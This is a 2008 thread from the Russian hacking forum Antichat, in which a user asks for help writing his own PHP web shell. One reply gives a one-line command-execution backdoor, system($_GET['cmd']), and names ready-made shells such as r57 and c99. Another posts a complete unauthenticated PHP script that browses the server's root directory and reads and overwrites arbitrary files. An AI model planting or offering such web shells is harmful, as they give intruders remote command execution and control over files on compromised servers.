ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

php shell
  #1  
Старый 17.05.2008, 21:59
Аватар для lomerok
lomerok
Участник форума
Регистрация: 23.04.2008
Сообщений: 132
Провел на форуме:
103153

Репутация: 13
По умолчанию php shell

решил написать шелл ..
но , столкнулся с проблемой , как сделать так чтоб файлы автоматом станавились ссылками на редактирование ??
 
Ответить с цитированием

  #2  
Старый 17.05.2008, 23:26
Аватар для zer0ska
zer0ska
Участник форума
Регистрация: 05.12.2007
Сообщений: 113
Провел на форуме:
252598

Репутация: 34
По умолчанию

Цитата:
решил написать шелл ..
но , столкнулся с проблемой , как сделать так чтоб файлы автоматом станавились ссылками на редактирование ??
не понел вапроса.

ИМХО есть же r57Shell и antichatshell
ну или
Цитата:
<h3><pre><? system(@$_GET["cmd"]); ?> </pre></h3>
 
Ответить с цитированием

  #3  
Старый 17.05.2008, 23:44
Аватар для lomerok
lomerok
Участник форума
Регистрация: 23.04.2008
Сообщений: 132
Провел на форуме:
103153

Репутация: 13
По умолчанию

Цитата:
Сообщение от zer0ska  
не понел вапроса.

ИМХО есть же r57Shell и antichatshell
ну или
что тут непонятно , хочу написать свой полностью функциональный шелл ...
 
Ответить с цитированием

  #4  
Старый 17.05.2008, 23:59
Аватар для pento
pento
Участник форума
Регистрация: 03.07.2006
Сообщений: 147
Провел на форуме:
438137

Репутация: 66
По умолчанию

Цитата:
Сообщение от lomerok  
что тут непонятно , хочу написать свой полностью функциональный шелл ...
Для начала освой какой-нить язык программирования, например тот же php. И таких вопросов у тебя не будет.
 
Ответить с цитированием

  #5  
Старый 18.05.2008, 00:16
Аватар для lomerok
lomerok
Участник форума
Регистрация: 23.04.2008
Сообщений: 132
Провел на форуме:
103153

Репутация: 13
По умолчанию

php я учу , поэтому и пишу shell . или сейчас модно осваивать програмирование без практики ??
имхо , умники вроде pento , промолчите пожалусто , коли поделу нечего сказать...
 
Ответить с цитированием

  #6  
Старый 18.05.2008, 00:27
Аватар для Dimi4
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме:
7617458

Репутация: 3965


Отправить сообщение для Dimi4 с помощью ICQ
По умолчанию

Цитата:
Сообщение от lomerok  
php я учу , поэтому и пишу shell . или сейчас модно осваивать програмирование без практики ??
имхо , умники вроде pento , промолчите пожалусто , коли поделу нечего сказать...
ну если розбираешся, дык пойди и возьми тот же c99shell(например) и посмотри ка сделано там. Потом попробуй не скопировать, а написать так же.
 
Ответить с цитированием

  #7  
Старый 18.05.2008, 00:37
Аватар для d_x
d_x
Reservists Of Antichat - Level 6
Регистрация: 25.03.2008
Сообщений: 670
Провел на форуме:
4137635

Репутация: 2407


По умолчанию

Цитата:
или сейчас модно осваивать програмирование без практики ??
Практика должна начинаться с простых скриптов, а не с полнофункционального шелла.

Цитата:
чтоб файлы автоматом станавились ссылками на редактирование
Я такой вопрос вообще не понимаю. При достаточном уровне знаний в том же php его не возникает. Могу ответить только абстрактно - получаем список файлов из заданной директории (функции opendir(), readdir(), closedir()), и, выводя список диров и файлов в браузер, добавляем к имени всех файлов (filetype()) ссылку на скрипт, открывающий файл для редактирования (простейший пример: print "<a href='myshell.php?act=edit&file=".urlencode($file_ name)."'>edit</a>"; ).
 
Ответить с цитированием

  #8  
Старый 18.05.2008, 01:11
Аватар для lomerok
lomerok
Участник форума
Регистрация: 23.04.2008
Сообщений: 132
Провел на форуме:
103153

Репутация: 13
По умолчанию

Цитата:
Сообщение от d_x  
Практика должна начинаться с простых скриптов, а не с полнофункционального шелла.


Я такой вопрос вообще не понимаю. При достаточном уровне знаний в том же php его не возникает. Могу ответить только абстрактно - получаем список файлов из заданной директории (функции opendir(), readdir(), closedir()), и, выводя список диров и файлов в браузер, добавляем к имени всех файлов (filetype()) ссылку на скрипт, открывающий файл для редактирования (простейший пример: print "<a href='myshell.php?act=edit&file=".urlencode($file_ name)."'>edit</a>"; ).
В том-то и дело , абстрактно я тоже могу , а вот как именно сделать из имён фаилов - ссылки , недогоняю..
имхо абстрактно мы все можем..
но всеравно спасибо...
 
Ответить с цитированием

  #9  
Старый 18.05.2008, 01:57
Аватар для d_x
d_x
Reservists Of Antichat - Level 6
Регистрация: 25.03.2008
Сообщений: 670
Провел на форуме:
4137635

Репутация: 2407


По умолчанию

Вот простейший скрипт (без особых проверок), который отображает список каталогов и файлов в заданной директории и позволяет редактировать файлы.

PHP код:
<html><head>
<meta http-equiv="Content-Type" content="text/html;charset=windows-1251">
<title>Список файлов</title></head>
<body>
<?php
$dir
='/'//каталог, с которым работаем



if(isset($_GET['act']))
{
  
$fl=isset($_GET['file']) ? $_GET['file'] : '';
  if(
file_exists($dir.$fl) && filetype($dir.$fl)=="file")
  {
    
$fc=htmlspecialchars(file_get_contents($dir.$fl));
    
$fname=htmlspecialchars($fl);
    
$furl=urlencode($fl);


    if(
$_GET['act']=='edit'//отображаем содержимое файла
    
{
print <<<HERE
<form action='?act=save&file=$furl' method='post'>
Редактирование <b>
$fname</b>:
<br><textarea cols=80 rows=30 name='content' wrap=off>
$fc</textarea><br><input type='submit' value='Сохранить'>
</form><hr>
HERE;
    }
    elseif(
$_GET['act']=='save'//сохраняем новое содержимое
    
{
      
$content=isset($_POST['content']) ? $_POST['content'] : '';
      
$fp=fopen($dir.$fl,'w+');
      
fputs($fp,$content);
      
fclose($fp);

      print 
"Файл <b>$fname</b> отредактирован.<hr>";
    }
  }
}


//читаем заданный каталог
$d=opendir($dir);
$elem=@readdir($d);

$elemf=Array();
$elemd=Array();

//получаем списки файлов и каталогов
while($elem)
{
  if(
$elem!="." and $elem!="..")
  {
    if(
filetype($dir.$elem)=="file")
      
$elemf[]=$elem;
    else
      
$elemd[]=$elem;
  }

  
$elem=@readdir($d);
}


//сортируем списки файлов и каталогов
sort($elemf);
sort($elemd);

$nm=0;$fls=0;$drs=0;

closedir($d);



if(
count($elemf)+count($elemd)<1)
  die(
"В директории $dir нет файлов и каталогов");


foreach(
$elemd as $dr)
{
  print 
'[dir] '.htmlspecialchars($dr).'<br>'//вывод каталогов
}

print 
'<hr>';


foreach(
$elemf as $dr)
{
  print 
"<a href='$PHP_SELF?act=edit&file=".urlencode($dr)."'>".htmlspecialchars($dr)."</a><br>"//вывод файлов со ссылками на редактирование
}


?>
</body></html>

Последний раз редактировалось d_x; 18.05.2008 в 02:20..
 
Ответить с цитированием

  #10  
Старый 18.05.2008, 02:59
Аватар для Isis
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

Для начала выучи тег 'a' в HTML
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Что такое Php? PAPA212 Болталка 13 28.12.2007 20:44
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ